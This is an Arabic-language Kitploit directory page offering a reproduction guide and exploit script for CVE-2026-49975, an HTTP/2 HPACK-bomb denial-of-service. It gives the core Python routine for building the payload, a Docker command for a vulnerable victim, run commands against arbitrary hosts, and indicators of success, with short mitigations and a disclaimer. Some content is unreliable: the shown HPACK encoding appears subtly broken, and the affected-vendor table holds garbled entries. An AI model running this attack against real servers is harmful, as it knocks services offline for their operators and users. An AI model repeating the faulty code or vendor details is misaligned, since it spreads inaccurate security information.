Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-49975-http2bomb_reproduction | Kitploit
أدوات/GitHubGitHub/razureink/cve-2026-49975-http2bomb_reproduction
تحليل الثغرات الأمنيةالاستغلالأمن الويبأمن الشبكاتالأوراق والأبحاثالتعلم والتعليم
GitHubrazureink/cve-2026-49975-http2bomb_reproduction

cve-2026-49975-http2bomb_reproduction

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
11منذ شهر واحدلم تتم المراجعة بعد

CVE-2026-49975 (قنبلة HTTP/2): دليل إعادة إنتاج كامل

استنادًا إلى نشرة QiAnXin CERT Advisory + البحث الأصلي لـ Calif

================================================================

I. نظرة عامة على الثغرة

CVE-2026-49975 هي ثغرة رفض خدمة (DoS) حرجة في تطبيقات خوادم HTTP/2 والوكلاء. الهجوم، الملقب بـ "HTTP/2 Bomb" أو "HPACK Bomb"، يستغل سلوكين على مستوى التصميم في بروتوكول HTTP/2 لإجبار الهدف على استهلاك ذاكرة غير محدود (OOM) واستنزاف المعالج:

  1. تضخم مرجع HPACK المفهرس – إطار HEADERS صغير يشير منطقيًا إلى نفس إدخال الكوكيز آلاف المرات عبر مراجع HPACK المفهرسة. عند فك الترميز، قد يخصص مفكك ترميز HPACK لدى النظير ذاكرة متناسبة مع عدد المراجع، وليس مع حجم البيانات المنقولة.
  2. تباطؤ نافذة التحكم في التدفق – عند دمجه مع نافذة ابتدائية قيمتها صفر، يضع المرسل بيانات HEADERS في قائمة انتظار بينما يرفض المستقبل القراءة حتى تصل تحديثات النافذة؛ فتمتلئ المخازن المؤقتة ويزداد ضغط الذاكرة.

درجة CVSS 3.1 الأساسية: 9.8 (حرجة)
المتجه: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

II. مبدأ الهجوم (مزيج من مرحلتين)

يكون الهجوم أكثر فعالية عندما تكمل المرحلتان بعضهما البعض، لكن كل مرحلة بمفردها كافية ضد بعض التطبيقات.

المرحلة 1: قنبلة مرجع HPACK المفهرس

يستخدم ضغط ترويسات HPACK في HTTP/2 جدولًا ديناميكيًا متطورًا. بمجرد إدراج ترويسة كوكيز كبيرة في الجدول (عبر Literal+Incremental Encoding)، يمكن للمهاجم الإشارة إلى هذا الإدخال باستخدام كود عملية من بايت واحد. تؤدي المراجع المتكررة إلى قيام مفكك الترميز بإعادة بناء الترويسة نفسها مرارًا وتكرارًا.

root@kitploit:~
Wire:  [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
    ↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.

يمكن أن تتوسع حزمة بحجم 5 كيلوبايت إلى مئات الميغابايت من الحمولة المفكوكة.

المرحلة 2: تباطؤ نافذة HTTP/2

تجبر رسالة SETTINGS التي تحتوي على INITIAL_WINDOW_SIZE=0 الضحية على وضع جميع بيانات HEADERS/الاستمرار في قائمة انتظار. يقوم المهاجم بتسريب إطارات WINDOW_UPDATE ببطء. تظل المخازن المؤقتة ممتلئة بشكل اندماجي.

الآليةعامل التضخيم
جسم HEADERS الخام1x
تضخم مراجع HPACK20–80x
+ التدفقات المتزامنة100–500x
+ تباطؤ النافذة1000x+

III. الخوادم المتأثرة

راجع إدخال CVE الخاص بموردك للحصول على الحدود الدقيقة.

IV. إعداد البيئة

root@kitploit:~
# Python 3.8+ with ssl support
python --version

# SSL Certificate optional; PoC sets CERT_NONE

Docker لإعداد ضحية سريعة:

root@kitploit:~
docker run -d --name h2-victim -p 4433:443 \
    nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null

V. كود الاستغلال

النص البرمجي المرافق هو exploit.py.

الروتين الأساسي:

root@kitploit:~
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
    cookie_name = b"cookie"
    cookie_value = "a=" + "y" * 128
    data = bytearray()
    # Step 1: insert cookie into dynamic table
    data.append(0x40)  # Literal+incremental
    data.extend(encode_hpack_int(len(cookie_name), 7))
    data.extend(cookie_name)
    data.extend(encode_hpack_int(len(cookie_value), 7))
    data.extend(cookie_value.encode())
    # Step 2: spam Indexed refs (index 63)
    for _ in range(num_headers):
        data.append(0x80)
        data.extend(encode_hpack_int(63, 7))
    return bytes(data)

ينفذ النص البرمجي ما يلي:

  • اتصال TLS إلى host:port
  • مقدمة HTTP/2 PRI + SETTINGS بنافذة=0
  • إرسال قنبلة HPACK كترويسات HEADERS
  • إرسال اختياري لتسريب بطيء لإطارات WINDOW_UPDATE
  • قياس تدهور زمن الرحلة (RTT) عبر إطارات PING

VI. الاستخدام

root@kitploit:~
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100

# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000

# Disable window stall
python exploit.py endpoint.com --no-stall

# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60

# Verbose
python exploit.py 10.0.0.5 -v

VII. التحقق من فعالية الهجوم

راقب موارد الضحية:

root@kitploit:~
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>

علامات نجاح الهجوم:

  • نمو ذاكرة RSS للضحية لأكثر من 500 ميجابايت
  • ارتفاع استخدام المعالج إلى 100%
  • تجاوز زمن استجابة PING لثانية واحدة
  • انتهاء مهلة الاتصالات

VIII. التخفيف

النهجالإعداد
تحديد عدد الترويسات لكل تدفقMaxHeaderCount 500

IX. إخلاء المسؤولية

هذه المعلومات مخصصة للاختبارات الأمنية التعليمية والمصرح بها فقط. لا تقم بتشغيلها إلا ضد أنظمة تملكها أو لديك إذن كتابي لاختبارها.

المراجع

  • CVE-2026-49975 Mitre
  • QiAnXin CERT Advisory (النشرة الأصلية بالماندرين / الإنجليزية)
  • Calif, A. The HTTP/2 Bomb: HPAK indexed OOM. Black Hat 2025
  • RFC 7541, RFC 9113
تنزيل الأداة
البائع / المشروعالإصدارالوصف
Apache mod_http2< 2.0.13نفاد الذاكرة (OOM) عند تضخم المراجع المفهرسة
nghttp2< 1.62.0تضخم ذاكرة غير محدود
h2o< 4.0.2حلقة لا نهائية في مفكك الترميز
Node.js http2 crate< 1.12.0توسع جوهري في nghttp2-rs
Go net/http (h2)< 1.24تعليق goroutine + تخصيص OSL
Apache Traffic Server< 9.3.0نفاد الذاكرة عبر مخزن مؤقت داخلي
HAProxy h2< 2.9تعطل عند AVP ضخم
Envoy< 1.30تخصيص ضخم في التحكم بالتدفق
Rust hyper/h2 crate< 5.14انهيار (panic) عند تجاوز SK
رفض انخفاض الضغطعتبة النسبة < 5
تقييد نمو HPACKتحديد الجدول الديناميكي إلى 1 كيلوبايت
ذاكرة لكل اتصالرفض بعد N ميجابايت
تحديد المعدلعام conn/s، req/s